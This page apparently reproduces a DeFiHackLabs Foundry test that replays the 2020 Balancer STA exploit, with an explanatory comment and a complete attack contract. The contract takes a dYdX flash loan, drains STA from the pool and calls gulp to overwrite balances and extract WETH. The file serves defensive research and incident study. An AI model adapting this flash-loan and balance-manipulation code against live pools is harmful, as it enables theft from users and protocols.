Public reproduction file
src/test/2020-06/Balancer_20200628_exp.sol
Public reproduction file for dataset entry Balancer Protocol.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.0;4import "forge-std/console2.sol";5import "forge-std/Test.sol";6import "../interface.sol";8/*9Balancer STA Exploit11Vulnerability principle: The incompatibility issue of deflationary tokens(STA) on Balancer. When users exchange deflationary tokens,12the contract does not validate the received tokens, leading to incorrect balance records.14Attackers can exploit this to create price deviations and profit from them. Exploitation process:151. The attacker borrows a large amount of WETH from DYDX through flash loans.162. The attacker continuously calls the swapExactAmountIn function to control the amount of STA tokens in the Balancer pool to 1,17 thereby increasing the price of STA for exchanging other tokens.183. The attacker exchanges 1 STA for WETH and after each exchange, calls the gulp function to overwrite the STA balance,19 keeping the price high for STA to WETH exchanges.204. Repay the flash loan and exit with profits.22Attack Tx: https://etherscan.io/tx/0x013be97768b702fe8eccef1a40544d5ecb3c1961ad5f87fee4d16fdc08c7810623*/25struct AccountInfo {26 address owner; // The address that owns the account27 uint256 number; // A nonce that allows a single address to control many accounts28}30interface IUniswapV2Router02 {31 function swapExactTokensForTokens(32 uint256 amountIn,33 uint256 amountOutMin,34 address[] calldata path,35 address to,36 uint256 deadline37 ) external returns (uint256[] memory amounts);38}40library Actions {41 enum ActionType {42 Deposit, // supply tokens43 Withdraw, // borrow tokens44 Transfer, // transfer balance between accounts45 Buy, // buy an amount of some token (publicly)46 Sell, // sell an amount of some token (publicly)47 Trade, // trade tokens against another account48 Liquidate, // liquidate an undercollateralized or expiring account49 Vaporize, // use excess tokens to zero-out a completely negative account50 Call // send arbitrary data to an address52 }54 struct ActionArgs {55 ActionType actionType;56 uint256 accountId;57 Types.AssetAmount amount;58 uint256 primaryMarketId;59 uint256 secondaryMarketId;60 address otherAddress;61 uint256 otherAccountId;62 bytes data;63 }64}66library Types {67 enum AssetDenomination {68 Wei, // the amount is denominated in wei69 Par // the amount is denominated in par71 }73 enum AssetReference {74 Delta, // the amount is given as a delta from the current value75 Target // the amount is given as an exact number to end up at77 }79 struct AssetAmount {80 bool sign; // true if positive81 AssetDenomination denomination;82 AssetReference ref;83 uint256 value;84 }85}87interface ISoloMargin {88 function operate(AccountInfo[] memory accounts, Actions.ActionArgs[] memory actions) external;89}91interface BPool {92 function swapExactAmountIn(93 address tokenIn,94 uint256 tokenAmountIn,95 address tokenOut,96 uint256 minAmountOut,97 uint256 maxPrice98 ) external returns (uint256 tokenAmountOut, uint256 spotPriceAfter);100 function gulp(101 address token102 ) external;104 function getBalance(105 address token106 ) external view returns (uint256);108 function swapExactAmountOut(109 address tokenIn,110 uint256 maxAmountIn,111 address tokenOut,112 uint256 tokenAmountOut,113 uint256 maxPrice114 ) external;115}117contract BalancerExp is Test {118 address dydx = 0x1E0447b19BB6EcFdAe1e4AE1694b0C3659614e4e;119 address weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;120 address sta = 0xa7DE087329BFcda5639247F96140f9DAbe3DeED1;121 BPool bpool = BPool(0x0e511Aa1a137AaD267dfe3a6bFCa0b856C1a3682);122 address pancakeV2Router = 0x10ED43C718714eb63d5aA57B78B54704E256024E;123 uint256 public constant BONE = 10 ** 18;124 uint256 public constant MAX_IN_RATIO = BONE / 2;126 function setUp() public {127 vm.createSelectFork("mainnet", 10_355_806);128 }130 function testExploit() public {131 // approve132 IERC20(weth).approve(dydx, type(uint256).max);133 IERC20(weth).approve(address(bpool), type(uint256).max);134 IERC20(sta).approve(address(bpool), type(uint256).max);135 IERC20(sta).approve(pancakeV2Router, type(uint256).max);137 emit log_named_decimal_uint(138 "[Before Attack] Attacker WETH Balance : ", (IERC20(weth).balanceOf(address(this))), 18139 );140 emit log_named_decimal_uint(141 "[Before Attack] Attacker STA Balance : ", (IERC20(sta).balanceOf(address(this))), 18142 );144 // attack145 attack();147 // check profit148 emit log_named_decimal_uint(149 "[After Attack] Attacker WETH Balance : ", (IERC20(weth).balanceOf(address(this))), 18150 );151 emit log_named_decimal_uint(152 "[After Attack] Attacker STA Balance : ", (IERC20(sta).balanceOf(address(this))), 18153 );154 }156 function bmul(uint256 a, uint256 b) internal pure returns (uint256) {157 uint256 c0 = a * b;158 uint256 c1 = c0 + (BONE / 2);159 uint256 c2 = c1 / BONE;160 return c2;161 }163 // take flash loan from dydx164 function attack() private {165 AccountInfo[] memory accounts = new AccountInfo[](1);166 {167 accounts[0].owner = address(this);168 accounts[0].number = 1;169 }171 Actions.ActionArgs[] memory actions = new Actions.ActionArgs[](3);172 {173 uint256 wethAmount = IERC20(weth).balanceOf(dydx);174 actions[0].actionType = Actions.ActionType.Withdraw;175 actions[0].amount.value = wethAmount;176 actions[0].otherAddress = address(this);178 actions[1].actionType = Actions.ActionType.Call;179 actions[1].otherAddress = address(this);181 actions[2].actionType = Actions.ActionType.Deposit;182 actions[2].amount.sign = true;183 actions[2].amount.value = wethAmount + 2;184 actions[2].otherAddress = address(this);185 }187 ISoloMargin(dydx).operate(accounts, actions);188 }190 function callFunction(191 address, // sender192 AccountInfo memory, // accountInfo193 bytes memory // data194 ) external {195 // swap weth to sta196 bpool.gulp(weth);197 uint256 MaxinRatio = bmul(bpool.getBalance(weth), MAX_IN_RATIO);198 bpool.swapExactAmountIn(weth, MaxinRatio - 1e18, sta, 0, 9999 * 1e18);199 bpool.swapExactAmountIn(sta, IERC20(sta).balanceOf(address(this)), weth, 0, 9999 * 1e18);200 MaxinRatio = bmul(bpool.getBalance(weth), MAX_IN_RATIO);201 bpool.swapExactAmountIn(weth, (MaxinRatio * 50) / 100, sta, 0, 9999 * 1e18);202 bpool.swapExactAmountIn(sta, IERC20(sta).balanceOf(address(this)), weth, 0, 9999 * 1e18);203 MaxinRatio = bmul(bpool.getBalance(weth), MAX_IN_RATIO);204 bpool.swapExactAmountIn(weth, (MaxinRatio * 25) / 100, sta, 0, 9999 * 1e18);205 bpool.swapExactAmountIn(sta, IERC20(sta).balanceOf(address(this)), weth, 0, 9999 * 1e18);207 for (uint256 i = 0; i < 16; i++) {208 MaxinRatio = bmul(bpool.getBalance(weth), MAX_IN_RATIO);209 if ((i + 1) < 9) {210 bpool.swapExactAmountIn(weth, (MaxinRatio * (i + 1) * 10) / 100, sta, 0, 9999 * 1e18);211 } else {212 bpool.swapExactAmountIn(weth, (MaxinRatio * 95) / 100, sta, 0, 9999 * 1e18);213 }214 }216 require(IERC20(sta).balanceOf(address(this)) > 0, "swap weth to sta failed");218 bpool.swapExactAmountOut(219 weth, 99_999_999_999 * 1e18, sta, IERC20(sta).balanceOf(address(bpool)) - 1, 99_999 * 1e18220 );221 bpool.gulp(sta);223 // swap sta to weth224 for (uint256 j = 0; j < 20; j++) {225 MaxinRatio = bmul(bpool.getBalance(sta), MAX_IN_RATIO);226 bpool.swapExactAmountIn(sta, 1, weth, 0, 9999 * 1e18);227 bpool.gulp(sta);228 }229 }231 function donate() public payable {}233 receive() external payable {}234}Analysis
Dataset entry
Public Foundry test for “Balancer Protocol” (2020-06-28). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
6 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2020-06/Bancor_exp.solSame month in the dataset · 55 lines
- src/test/2026-04/AaveRebalancerCreditDelegation_exp.solSame protocol or name in the dataset · 126 lines
- src/test/2023-08/Balancer_exp.solSame protocol or name in the dataset · 220 lines
- src/test/2026-08/BalancerV1BPool_exp.solSame protocol or name in the dataset · 230 lines
- src/test/2025-11/BalancerV2_exp.solSame protocol or name in the dataset · 459 lines
- src/test/2023-11/RBalancer_exp.solSame protocol or name in the dataset · 49 lines
File record
- Name
- Balancer Protocol
- Path
- src/test/2020-06/Balancer_20200628_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- e8f95f9e8dab666372b50e4ac06638c080ee711e
- Language
- Solidity
- Size
- 235 lines
- Date
- 2020-06-28
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2020-06/Balancer_20200628_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob e8f95f9e8dab666372b50e4ac06638c080ee711e, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.